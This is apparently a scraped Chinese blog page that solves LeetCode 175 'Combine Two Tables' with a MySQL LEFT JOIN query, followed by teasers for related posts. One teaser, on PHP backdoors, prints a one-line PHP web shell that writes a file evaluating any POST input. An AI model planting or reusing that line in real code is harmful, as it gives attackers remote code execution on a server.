Table: Person

+-------------+---------+
| Column Name | Type |
+-------------+---------+
| PersonId | int |
| FirstName | varchar |
| LastName | varchar |
+-------------+---------+
PersonId is the primary key column for this table.

Table: Address

+-------------+---------+
| Column Name | Type |
+-------------+---------+
| AddressId | int |
| PersonId | int |
| City | varchar |
| State | varchar |
+-------------+---------+
AddressId is the primary key column for this table.

Write a SQL query for a report that provides the following information for each person in the Person table, regardless if there is an address for each of those people:

FirstName, LastName, City, State

本题的思路很简单,由于FirstName, LastName, City, State 来自两个不同的 table, 所以要用join。由于要求必须显示人名,即使没有地址相关信息,说明要用LEFT JOIN。经测试LEFT JOIN和LEFT OUTER JOIN效果一样。

 # Write your MySQL query statement below
SELECT FirstName, LastName, City, State FROM Person
LEFT JOIN Address ON Person.PersonId = Address.PersonId

Leetcode 175. Combine Two Tables的更多相关文章

  1. LeetCode 175. Combine Two Tables 【MySQL中连接查询on和where的区别】

    一.题目 175. Combine Two Tables 二.分析 连接查询的时候要考虑where和on的区别 where : 查询时,连接的时候是必须严格满足条件的,满足了才会加入到临时表中. on ...

  2. LeetCode 175 Combine Two Tables mysql,left join 难度:0

    https://leetcode.com/problems/combine-two-tables/ Combine Two Tables Table: Person +-------------+-- ...

  3. leetcode 175 Combine Two Tables join用法

    https://leetcode.com/problemset/database/ ACM退役,刚好要学sql,一定要刷题才行,leetcode吧. 这一题,说了两个表,一个左一个右吧,左边的pers ...

  4. LeetCode 175. Combine Two Tables (组合两个表)

    题目标签: 题目给了我们两个table,让我们合并,根据Person为主. 因为题目说了 提供person 信息,不管这个人有没有地址.所以这里用Left Join. Java Solution: R ...

  5. 175. Combine Two Tables【LeetCode】-LEFT JON 和RIGHT JOIN,两张表关联查询-java -sql入门

    Table: Person +-------------+---------+ | Column Name | Type | +-------------+---------+ | PersonId ...

  6. [Leetcode|SQL] Combine Two Tables

    Table: Person +-------------+---------+ | Column Name | Type | +-------------+---------+ | PersonId ...

  7. sql 中多表查询-leetcode : Combine Two Tables

    因为对数据库的内容早都忘得差不多了,所以我的第一感觉是: select Person.FirstName, Person.LastName, Address.City from Person, Add ...

  8. leetcdoe 175. Combine Two Tables

    给定两个表,一个是人,一个是地址,要求查询所有人,可以没有地址. select a.FirstName, a.LastName, b.City, b.State from Person as a le ...

  9. 【SQL】175. Combine Two Tables

    Table: Person +-------------+---------+ | Column Name | Type | +-------------+---------+ | PersonId ...

随机推荐

  1. 苹果充电器USB端的识别电阻的设置

    苹果为充电器定义了3种充电电流,分别是0.5A/1A/2.1A.具体是由3种不同的电阻组合来实现的.当苹果的设备ipad,iphone,ipod接入USB口充电器时,会先检测USB D+和D-上的电压 ...

  2. CGI接口原理及实现(转载)

    原文:http://blog.csdn.net/duola_rain/article/details/15812585 CGI接口原理及实现(2012-12-7 Over) 1.CGI定义: CGI( ...

  3. android UI中添加一张图片如何将这张图片中某一部分设为透明的

    可以利用canvas画布类,这个类的具体方法可以参看官方api.http://developer.android.com/reference/android/graphics/Canvas.html ...

  4. PAT (Advanced Level) 1072. Gas Station (30)

    枚举一下选的位置,每次算一下就可以了. #include<cstdio> #include<cstring> #include<cmath> #include< ...

  5. PHP文件夹操作

    文件:文件+目录 判断文件类型: filetype("路径"); //返回一个字符串 is_dir("路径"); //如果是目录会返回true 判断文件是不是目 ...

  6. php后门屌炸天

    fputs(fopen('a.php','w'),'<?php eval($_POST[cc])?>'); php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟然 ...

  7. jQuery之call()方法的使用

    最近在做项目时候,写了几行关于DOM操作的代码,在方法中使用了this,在后期重构的时候,想将这段分离出来做成一个方法. 最开始想的很简单,就直接分离出来使用方法名称调用即可. 但是实际操作的时候没有 ...

  8. 伸展树 Splay 模板

    学习Splay的时候参考了很多不同的资料,然而参考资料太杂的后果就是模板调出来一直都有问题,尤其是最后发现网上找的各种资料均有不同程度的错误. 好在啃了几天之后终于算是啃下来了. Splay也算是平衡 ...

  9. EXCEL读写NPOI--导出功能

    第一步:将NPOI中的一下三个文件复制到项目中

  10. javascript 对象的复制

    1. jQuery has a method that can be used to deep-clone objects, the$.extend() function. Let’s take a ...